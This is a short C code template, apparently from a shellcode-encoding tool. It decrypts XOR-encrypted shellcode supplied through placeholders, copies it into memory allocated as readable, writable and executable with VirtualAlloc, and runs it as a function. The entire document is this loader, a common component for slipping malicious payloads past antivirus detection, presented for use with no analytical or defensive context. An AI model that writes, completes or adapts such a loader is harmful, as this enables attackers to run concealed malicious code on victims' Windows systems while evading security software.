// Encrypted shellcode and cipher key obtained from shellcode_encoder.py

char encryptedShellcode[] = "${shellcode}";

char key[] = "${key}";

char cipherType[] = "${cipherType}";

// Char array to host the deciphered shellcode

char shellcode[sizeof encryptedShellcode];

// XOR decoding stub using the key defined above must be the same as the encoding key

int j = 0;

for (int i = 0; i < sizeof encryptedShellcode; i++) {

if (j == sizeof key - 1) j = 0;

shellcode[i] = encryptedShellcode[i] ^ key[j];

j++;

}

// Allocating memory with EXECUTE writes

void *exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

// Copying deciphered shellcode into memory as a function

memcpy(exec, shellcode, sizeof shellcode);

// Call the shellcode

((void(*)())exec)();